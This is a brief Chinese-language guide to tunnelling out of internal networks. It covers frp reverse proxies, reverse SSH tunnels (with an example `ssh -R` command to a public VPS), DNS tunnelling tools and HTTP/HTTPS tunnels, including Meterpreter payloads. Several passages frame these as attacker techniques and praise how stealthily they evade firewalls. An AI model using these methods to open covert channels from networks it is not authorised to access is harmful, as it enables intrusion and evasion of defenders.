### 如何进行内网穿透 **1. 反向代理与隧道技术** 这是最常用也是最稳定的内网穿透方式。其原理是**让内网主机主动连接公网服务器,并建立一个持久的通信隧道** **工具:Frp** **Frp** 是一个高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议,它可以将内网服务暴露给公网 **工作流程:** - **公网服务器(VPS):** 运行 `frps`(服务端),监听一个端口 - **内网主机(目标机器):** 运行 `frpc`(客户端),连接到公网服务器 - **配置:** 在 `frpc.ini` 配置文件中指定要暴露的内网服务(如 SSH 服务、Web 服务),并将其转发到公网服务器的指定端口上 **Frp 优点:** - **多协议支持:** 几乎可以转发任何类型的流量 - **配置简单:** 配置文件清晰,易于上手 - **性能优秀:** 资源占用低,转发速度快 - **隐蔽性:** 流量经过加密,且内网主机是主动出站连接,不易被防火墙拦截 **工具:Ngrok** Ngrok 提供了类似的隧道服务,但它通常需要注册账号,并且免费版有诸多限制。对于渗透测试来说,自己搭建的 Frp 更灵活、更可靠 **2. SSH 隧道** SSH 隧道利用 SSH 协议来转发流量,是许多渗透测试工程师的首选工具,因为它在大多数 Linux 和 macOS 系统中都自带了 SSH 客户端 **反向 SSH 隧道** **原理:** 攻击者在公网服务器上监听一个端口,然后让内网主机使用 `ssh -R` 命令,将内网的端口映射到公网服务器上 **示例:** 假设内网Web服务运行在 `127.0.0.1:8080`,公网VPS IP 为 `203.0.113.10`。 在内网主机上执行: `ssh -R 8080:127.0.0.1:8080 user@203.0.113.10` - `-R`:表示反向端口转发 - `8080`:公网服务器上的监听端口 - `127.0.0.1:8080`:内网服务的地址和端口 - `user@203.0.113.10`:公网服务器的登录信息 现在,你就可以通过访问 `http://203.0.113.10:8080` 来访问内网的 Web 服务了 **SSH 隧道优点:** - **原生支持:** 无需额外安装工具 - **加密:** 流量全程加密,安全可靠 - **易用性:** 命令行简单,操作便捷 **3. DNS 隧道** 在一些网络环境极端受限(如只允许 DNS 请求通过)的情况下,DNS 隧道是一种非常隐蔽且有效的穿透方式 **原理:** 将需要传输的数据编码为域名请求(DNS Query),发送到攻击者控制的公网 DNS 服务器。公网服务器接收到请求后,将其解码,然后将响应数据编码在 DNS 响应(DNS Reply)中返回 **工具:** - **iodine:** 这是一个流行的 DNS 隧道工具 - **dnscat2:** 另一个功能强大的 DNS 隧道工具,可以模拟一个交互式 Shell **DNS 隧道优点:** - **极度隐蔽:** DNS 流量通常不被防火墙严格审查,容易绕过限制 - **穿透力强:** 几乎可以在任何网络环境中工作 **DNS 隧道缺点:** - **速度慢:** 由于 DNS 协议的限制,传输速度非常慢,不适合传输大量数据 - **不稳定:** 容易受到网络波动影响 **4. HTTP/HTTPS 隧道** 当目标网络只允许 HTTP/HTTPS 流量出站时,可以利用 HTTP/HTTPS 隧道 **原理:** 将流量伪装成 HTTP/HTTPS 请求,通过公网服务器的 Web 代理或隧道工具进行转发 **工具:** - **Tunna:** 一个利用 HTTP 协议进行 TCP 隧道转发的工具 - **meterpreter 的 Reverse HTTP/HTTPS Payload:** Metasploit 框架中的反向 shell,其流量就是通过 HTTP/HTTPS 隧道传输的 **HTTP/HTTPS 隧道优点:** - **绕过代理:** 能够穿透只允许 Web 流量的网络 - **隐蔽性好:** 流量伪装成正常浏览行为,不易被发现